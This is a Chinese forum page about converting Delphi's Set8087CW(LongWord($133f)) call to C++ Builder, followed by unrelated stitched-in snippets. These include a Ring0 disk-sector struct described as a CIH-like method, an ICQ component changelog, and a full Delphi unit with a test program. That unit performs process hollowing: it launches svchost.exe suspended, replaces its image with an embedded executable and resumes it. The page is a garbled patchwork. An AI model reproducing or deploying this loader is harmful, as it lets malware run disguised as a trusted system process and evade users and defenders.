LongWord($133f)这句是什么意思

fieldisme 2015-07-11 09:02:45
LongWord($133f)这句是什么意思,如何转换成bcb的语法?
在用bcb编写浏览器时出现Invalid floating point operation错误,在网上查到要调用Set8087CW(LongWord($133f));,不知道在bcb中怎么表达
...全文
417 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
  • 打赏
  • 举报
回复
// Default value (with exceptions) is 0x1372.这个注释是错的,默认值是0x1332。 Set8087CW是Delphi RTL函数,C++中最好还是用_control87或者_controlfp。
缘中人 2015-07-13
  • 打赏
  • 举报
回复
找到了官方资料 http://docwiki.embarcadero.com/CodeExamples/XE8/en/Set8087CW_%28C%2B%2B%29
Word Saved8087CW;
 
void __fastcall TForm1::Button1Click(TObject *Sender)
{
  Edit3->Text = FloatToStr(StrToFloat(Edit1->Text) / StrToFloat(Edit2->Text));
}
 
void __fastcall TForm1::RadioGroup1Click(TObject *Sender)
{
  if (RadioGroup1->Items->Strings[RadioGroup1->ItemIndex] == "FPU Exceptions")
	System::Set8087CW(Saved8087CW);
  if (RadioGroup1->Items->Strings[RadioGroup1->ItemIndex] == "No FPU Exceptions")
	System::Set8087CW(0x133f); // Disable all fpu exceptions.
}
 
__fastcall TForm1::TForm1(TComponent* Owner)
  : TForm(Owner)
{
  RadioGroup1->Items->Add("No FPU Exceptions");
  RadioGroup1->Items->Add("FPU Exceptions");
  RadioGroup1->ItemIndex = 2;
  Saved8087CW = Default8087CW;  // Save this, because Set8087CW changes it.
}
 
void __fastcall TForm1::FormDestroy(TObject *Sender)
{
  System::Set8087CW(Saved8087CW); // Default value (with exceptions) is 0x1372.
}
  • 打赏
  • 举报
回复
这个应该用_control87或者_controlfp #include <float.h> _control87(0x133f, 0xffff); 至于LongWord($133f)这是没有什么意义的,LongWord($133f)=$0000133f,32位无符号整数,仅此而已。
缘中人 2015-07-12
  • 打赏
  • 举报
回复
	
LongWord(0x133f);
或者

LongWord lw;
	lw = LongWord(0x133f);
Delphi基于Ring0技术读写Windows系统下的硬盘物理扇区,磁盘读写操作一例,包括了VxD和仿CIH两种方法,VxD方法中还包括了所调用控件的VC 源代码,并且包括了一个测试的例子,运行效果如演示截图所示。相关的源代码分享如下:   IOR_next:longword;{ 为BCB的(MBZ for IORF_VERSION_002) 的客户链接 }   IOR_func:word;{子功能号}   IOR_status:word;{请求的状态}   IOR_flags:longword;{请求控制标志}   IOR_callback:procedure;{如果IORF_SYNC_COMMAND未设置,则为回调函数地址}   IOR_start_addr:array[0..1]of longword;{相对开始地址}   IOR_xfer_count:longword;{处理的扇区数}   IOR_buffer_ptr:longword;{客户缓冲区指针}   IOR_private_client:longword;{ BlockDev/IOS客户保留}   IOR_private_IOS:longword;{IOS保留空间}   IOR_private_port:longword;{端口驱动的私有区域}   _ureq:Turequestor_usage;   IOR_req_req_handle:longword;{请求句柄}   IOR_req_vol_handle:longword;{媒体句柄,指向VRP结构}   IOR_sgd_lin_phys:longword;{指向第一个物理SGD }   IOR_num_sgds:byte;{物理SGD的数目}   IOR_vol_designtr:byte;{视子功能号的不同,可能是以下两种情况:(1)A盘为0,B盘为1,C盘为2……(2)软盘是0-7F,硬盘是80-FF}   IOR_ios_private_1:word;{由IOS保留强制对齐}   IOR_reserved_2:array[0..1]of longword; {保留,内部使用}
//// TICQClient Version 1.18f// (C) Alex Demchenko(alex@ritlabs.com)// http://www.cobans.net////-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[ Legend: ][ + Added feature ][ * Improved/changed feature ][ - Bug fixed (I hope) ]16-September-2002, Version 1.18f (fix release)[+] Added .manifest file in Example project for better WinXP GUI compatability[-] Fixed SMS reply receiving (Thx! to Nick Anikin)[-] Fixed OnConnectionRefused event, it wasn‘t called when connection with ICQ server was lost (Thx! to Mironov Serghei)[-] Application containing TTimer on the same form as TICQClient generated Access Violation error (Thx! to Simon de James)07-September-2002, Version 1.18[!] Sorry that HTTP proxy support wasn‘t added in this release, it‘s impossible due to blocking sockets architecture, but ICQ HTTP PROXY protocol has been discovered and parsed (for developers: see MySocket.pas)[!] Added file receiving see ‘File Transfers‘ in Help.chm[+] Added RequestInfoShort procedure & OnUserInfoShort event for requesting the short info about user[+] Added LastError: String property in TICQClient[+] Added ICQClientVer_Major, ICQClientVer_Minor constants in ICQWorks.pas[*] Some work-speed improvements[*] Improved info request/response procedures & events[*] Improved white pages (more compatible with ICQ2002a)[*] Improved sockets: data sending should work better now (especially with badly internet connection)[*] Improved TICQClient timeout timer[*] Contacts & contacts requests can be sent/received also through server now, see SendContacts, RequestContacts functions[*] OnPasswordChanged events moved to OnInfoChanged event.[-] Finally fixed the bug which doesn‘t allow to close the application having TICQClient while Windows restarting/shutting down[-] Fixed bug: users where not added to invisible list while receiving server side lists in Example (bug in Example) (Thx! to Attila)[-] Fixed age field in OnUserFound event when searching white pages[-] Fixed disconnection bug in direct connection sessions (server doesn‘t handled disconnection events)[-] Fixed access violation on receiving OnInfoBackGround events with different count in Pasts & Affiliations lists (bug in Example)[-] Fixed UTF8ToStrSmart function, now it should convert UNICODE strings from ICQ server nearly perfectly ;) (Thx! to Alexander Vaga)[-] Fixed TMySock access violation when destroying the object after socket reported OnConnectError[-] Lots of access violation fixes, which appear while using heavily TICQClient as a non-visual object17-August-2002, Version 1.17[!] Added server side list upload support (you can even add users into SSL without authorization!), see ‘Server Side Lists‘ in Help.chm[!] Added Miranda-icq database support in TICQDb component, see DbType property in Help.chm[+] Added ignore list support, see Server Side Lists in Help.chm[+] Added OnURLFound event in TICQDb[+] Added OnChangePasswordError event, called when password cannot be changed[+] Added new ERR_LOGIN type in OnError event, for more info see Help.chm file - OnError event[+] Added SetAuthorization procedure setting ‘authorization required‘ and ‘webaware flag‘, see SetAuthorization procedure, OnAuthorizationChangedOk event[+] ICQ databases can be open now while ICQ is running[*] Added authorize parameter in OnUserFound event[-] Fixed internet address resolving, which caused connection errors on some Win98 systems[-] Received SMS messages were not converted from UTF-8 format[-] Fixed devision by zero in TICQDb component10-August-2002, Version 1.16[+] Added SMS reply event, now you can receive messages sent through cellular, see OnSMSReply event (Thx! to Olivier)[+] Added connection timeout support, see ConnectionTimeout property[+] Added OnError event, now you can understand why you‘ve been disconnected :)[+] Answers on info changing, see OnInfoChanged event[+] An option disabling direct connections, see property DisableDirectConnections[*] Direct connections are estabilished now through proxy (if any)[*] Removed thread layer while resolving IPs in SOCKS proxies[*] MySocket.pas improvements, fixed potential Access Violation bugs[*] TProxyType moved to ICQWorks.pas[-] Fixed SetSelfInfoMore procedure: languges were broken[-] Fixed message ACKs[-] Proxy packets were dumped in OnPktParse event[-] SendSMS procedure didn‘t convert Text to UTF-8 format[-] Client should disconnect now on receiving malformed packets06-August-2002, Version 1.15[!] SOCKS4, SOCKS5 proxy support, only experimental now, please test it[+] Added keep alive packets support, see procedure SendKeepAlive[+] Added OnOnlineInfo event providing advanced info about users going online: Internal & External IPs, Port, Protocol version.[-] Messages from Mac clients were not received (Thx! to AV(T))[-] Fixed range checking errors in TICQClient component (Thx! to Klimashev I.A.)[-] Fixed unicode strings in server side contact list group names[-] Fixed icon displaying in UserSearch form of the Example project[-] Some help fixes and modifications16-July-2002, Version 1.11[!] Added TICQDb example. See DbConverter.[+] Impoved SMS support, see OnSMSAck & OnSMSRefused events.[-] TICQDb: .idx and .dat files were not closed after importing[-] Offline messages were not received (Thx to Sergey Sokolov)15-July-2002, Version 1.1[!] Importing messages, urls, contacts(with their info) & owner‘s info (including password!) from ICQ2000x, ICQ2001x, ICQ2002a databases. See TICQDb component.[!] SMS messages are working :) (Thx! to Nick Barrett)[*] property Pasword changed to property Password (sorry for spelling)[*] New help file! (.chm format)[*] Removed AddContactVisible, AddContactInvisible functions, use VisibleList.Add, InvisibleList.Add instead.[-] Fixed bug with Visible/Invisible lists: after adding a user to your vis./inv. lists you was disconnected from server. (Thx! to Karloz R.)[-] Sorry that new Russian help file isn‘t included in this release, I have‘t got time for it bacause of going in the summer hollidays :)12-July-2002, Version 1.0 (Release!)[+] Added contacts request, see RequestContacts function[+] Added acks on every direct packet, see OnDirectPacketAck event.[-] Russian help didn‘t contain some functions & events[-] Main example should work now in Delphi5 & other compatability issues10-July-2002, Version 0.9[!] Direct connections are supported now![!] OnMessageRecv & OnOfflineMsgRecv are divided now into OnMessageRecv/OnURLRecv & OnOfflineMsgRecv/OnOfflineURLRecv, so the MsgType param isn‘t used now[+] Sending/Receiving messages directly to client[+] Sending/Receiving contacts[+] Receiving contacts requests[+] Improved MySocket.pas, now it works safier and doesn‘t use any threads05-July-2002, Version 0.8[+] Added Russian translation of Help.html. See HelpRus.html.[+] Added password changing procedure. See ChangePassword procedure & OnChangePasswordOk event.[+] Added unregistering the existing UIN. See UnregisterUIN procedure and OnUnregisterBadPassword, OnUnregisterOk events.[-] UNICODE(UTF-8) names in the server side contact lists were not converted to ASCII.[-] Packet dumper now parses more packets on channels 1 & 405-July-2002, Version 0.7[+] Now you can register new UIN from TICQClient! See RegisterNewUIN procedure and OnNewUINRegistered, OnNewUINRefused events.[+] Auto-away messages support. See RequestAwayMsg procedure, OnAutoMsgResponse event and AutoAwayMessage property.[-] Since v0.6 ‘White Pages‘ did not work properly (Thx! to Ozan Kulahci)[-] Login event was called too early, so search & some other functions were not working immideatly after login (Thx! to Ozan Kulahci)04-July-2002, Version 0.6[!] Removed Connecting property & OnConnect, OnConnectError, OnDisconnect events. I think there‘s no way of using them. OnConnectionFailed now called when you loose connection with server or you cannot connect to it.[+] Added advanced message support(SendMessageAdvanced procedure, OnAdvancedMsgAck event). Now you can receive confirmations on messages you‘ve sent![+] Added SendSMS(const Destination, Text: String) procedure for sending sms messages, please, test it and mail me(email above) about results, country where I live isn‘t supported by the ICQ sms gateway :)[+] Added new items to languages constant array[-] Example wasn‘t showing messages received in RTF format02-July-2002, Version 0.5[+] Added visible/invisible list support: look at AddContactVisible, AddContactInvisible functions and VisibleList, InvisibleList TStringLists in Help.html file[+] Updated main Example, now it receives server lists, saves contact list to disk and adds users from the search dialog[+] Added new VerySimple example with just logging and sending/receiving messages. This example shows easy of use of the TICQClient component.[+] Changed AddContact(UIN: LongWord) procedute to AddContact(UIN: LongWord): Boolean function, it returns True when user is added to the list and False if it‘s in the list already[+] Added RemoveContact procedure, which removes UIN from user‘s contact list while you are online[-] Fix in AddContact procedure it was sending the entire contact list, instead of new UIN[-] User‘s info StringLists(Interests, Affiliations, etc) in Example having the same group names caused errors: the first group and value were repeated a few times instead of showing the different values with the same groups01-July-2002, Version 0.4[!] Server side contact list is supported now![+] Added SendURL(UIN: LongWord; const URL, Description: String) procedure for sending URLs[+] Added SetSelfInfoGeneral, SetSelfInfoMore, SetSelfInfoAbout procedures for uploading the self info[-] Fixed SearchByName procedure, now it works correctly30-June-2002, Version 0.3[+] Added ICQClient.dcr icon, thx to Quique![+] Added OnUserInfoBackground event[-] Fix with user‘s gender in ‘White Pages‘[-] A few other small fixes28-June-2002, Version 0.2[+] Added white pages & random search[+] Update to PacketDump viewer (PktDump.pas), not it parses CLI_META and SRV_META packets[-] Fix in SRV_METAINTEREST, interests were badly parsed[-] Some fixes with LNTS strings26-June-2002, Version 0.1[!] First public release
unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var SrcMz: PImageDosHeader; // DOS头 SrcPeH: PImageNtHeaders; // PE头 SrcPeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; SrcMz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if SrcMz.e_magic IMAGE_DOS_SIGNATURE then exit; if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit; SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew); if (SrcPeH.Signature IMAGE_NT_SIGNATURE) then exit; if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL 0) or (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (SrcPeH.FileHeader.SizeOfOptionalHeader SizeOf(TImageOptionalHeader)) then exit; SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem nil then begin // 计算需要复制的PE头字节数 l := SrcPeH.OptionalHeader.SizeOfHeaders; for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do if (SrcPeSecH[i].PointerToRawData 0) and (SrcPeSecH[i].PointerToRawData < l) then l := SrcPeSecH[i].PointerToRawData; Move(SrcMz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存中的位置 if PeSecH[i].VirtualAddress 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^,仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; { 创建外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; { 创建外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试:你可以把任何一个exe文件 作成资源然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.rc'}//加入exe资源文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; ResourceLocation: HRSRC; Size: Longword; ResDataHandle: THandle; ResourcePointer: PChar; begin ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA); if ResourceLocation 0 then begin Size := SizeofResource(HInstance, ResourceLocation); if Size 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer nil then begin MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.

13,826

社区成员

发帖
与我相关
我的任务
社区描述
C++ Builder相关内容讨论区
社区管理员
  • 基础类社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧